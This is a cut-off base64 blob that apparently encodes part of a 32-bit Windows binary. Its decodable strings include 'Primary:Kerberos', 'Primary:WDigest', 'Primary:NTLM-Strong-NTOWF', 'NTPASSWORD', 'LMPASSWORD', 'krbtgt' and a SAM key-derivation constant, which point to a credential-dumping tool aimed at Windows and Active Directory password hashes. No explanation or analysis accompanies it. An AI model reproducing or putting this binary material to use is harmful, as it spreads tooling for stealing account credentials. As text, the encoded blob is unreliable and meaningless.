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KAFrAmsCMQAxADIAMgAyADIALQEwADAAMAAwAC8ALwAuAC4ALgAtAPUALwAvAC4ALgAuAC0A9QA5ArYCTwBfAOIAnAO1ArUCAwI6AhcAMwA0ACoAZwJnAnMC9QBrAmsCMQAxADIAMgAyADIASgIwADAAMAAwAC8ALwAuAC4ALgAtAPUAjgA4AgsBIgEfAR4BLAApAOIAGAIZAsgA+QDVAB0BMwA0ACoAZwJnAnMCOwBrAmsCMQAxADIAMgAyADIAGAAwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gANArEC7AEsACkAAwEzADQAKgBnAmcCcwLkAWsCawIxADEAMgAyADIAMgCBAjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAKEABAHlAbAC8wG0ADMANAAqAGcCZwJzAggCawJrAjEAMQAyADIAMgAyAHIDMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAOwCqA3EAlgIBAAABMwA0ACoAZwJnAnMCsABrAmsCMQAxADIAMgAyADIA5wEwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gBoAmgCdAIjAacCqAIzADQAKgBnAmcCcwI5AmsCawIxADEAMgAyADIAMgA6AjAAMAAwADAALwAvAC4ALgAuAC0A9QDiAAsCsQJSAu4ApwKoAjMANAAqAGcCZwJzApMAawJrAjEAMQAyADIAMgAyAC0BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADcCHALMAc0BzgHmAbsA4gC2AksAnwBsAiwAKQAzADQAKgBnAmcCcwIfAGsCawIxADEAMgAyADIAMgAsATAAMAAwADAALwAvAC4ALgAuAC0A9QDiACkBDQEVASwAKQBRAjMAKAAqAGcCZwJzAiIAawJrAjEAMQAyADIAMgAyAOQAMAAwADAAMAAvAC8ALgAuAC4ALQD1AOIAtAD0AJIAkQCQAAcBKgI0ACoAZwJnAnMCfwBrAmsCMQAxADIAMgAyADIApgIwADAAMAAwAC8ALwAuAC4ALgAtAPUA4gDvAOUAzAC0AJID3gHjAKIAKgBnAmcCcwJNAmsCawIxADEAMgAyADIAMgC0AjAAMAAwADAALwAvAC4ALgAuAC0A9QAnAKkCNQCmAuoArQKvAPwAsQDuAScAowA1AKYADAEeAIoANQCAABABlwB7ANQAJgHPACUBlAAkACUAHQL6AKICogLLACYA9gD2ACQAJQC2Ag4AKgIkACUAJgD2APYAtQKkACYA9gD2ADIAMgAyADIAKwAwADAAMAAwAC8ALwAuAC4ALgAtAPUAMAAwADAAMAAvAC8ALgAuAC4ALQD1ADYAowKkAl4C/gAvAS4BLQD1AFMCdgAUArICXgLvAS8BLgG1Al4CUwIvAS4BDwGgAFMCfQB8ALUA3ADbANoAmgDYAOgB6AHWAbcAWAJYAlgCWgILAKICogLtAOwAtABYAlgCWAJaAgsAWAJYAlgCWgILAC0BtAAyADIAMgAyAO8BMAAwADAAMAAvAC8ALgAuAC4ALQD1ADkAjAK2AksAUQJeAk8CWQJeAokAWQJTAokCOgBTAnQAowKkAo4AMgHJASIBHwEeARACrgAtAW4AogKiApUCAQAdAeIBEwLMACkBEQFfAFgCWAJYAlgCWAJYAo0CtgJLAB4CogKiAqICogItAaICogIaARsAuAK4AmkAuQCOAuYADgItAZMADQDpAC0B8QAtARIBtgIPAC0BDwKjAqQCswApASoB4gH6AQgBtgJLAOcAggC2AksAtgIPANsBLQG2Ag8AJAGjAqQCowKkArwAowKkAhgBbwD7ARMB6wAUArIChAOXArYCDwDTADsA4QDoAC0BDwEsAhYBKwItATsA0gCnABgCGQItAbYALQH4ABsA8gCoAC0BrgK2AkMA9wEtAfEBtgJEAC0B9gEtAeQAtgJFALYCRgDLAC0BFgK2AkcAHQAtAb4AtgJIAC0BKAK2AkkAtgI8AC0BiAItAZ4AjAC2Aj0ALQFbAi0BtgIQAC0BMQK2Aj4ALQEjAC0BIQC2AkoAtgJVAC0BFQAtAbYCTAC2AkAALQG2Ak0ALQH1AbYCTgC2AkEALQFQAi0BHwK2AngAtgJ5AMEALQGIArYCegAtAbYCUgAtAVsCLQHHALYCVgC2AlAABAItAc0ALQH0AbYCVwAtAc4AtgJYAC0BtgJUALYCdQAtATMCVwItAYkAtgJwALYCYQAtARsBtgJdAI8ALQG2AlkA4wEtAW8AtgJaAN0BtgJRAMkApQDXABsAtgJTAN4AiwKLArYCQgARACMCtgI/AIoCigLTAeABhALSATgAjwD5AfgBBAAAAgEC1AGcAt0ARwL7ALIAwADGAHcAIAGBAIYCKwGFAvMBnwLRAEwCXgBiAG0A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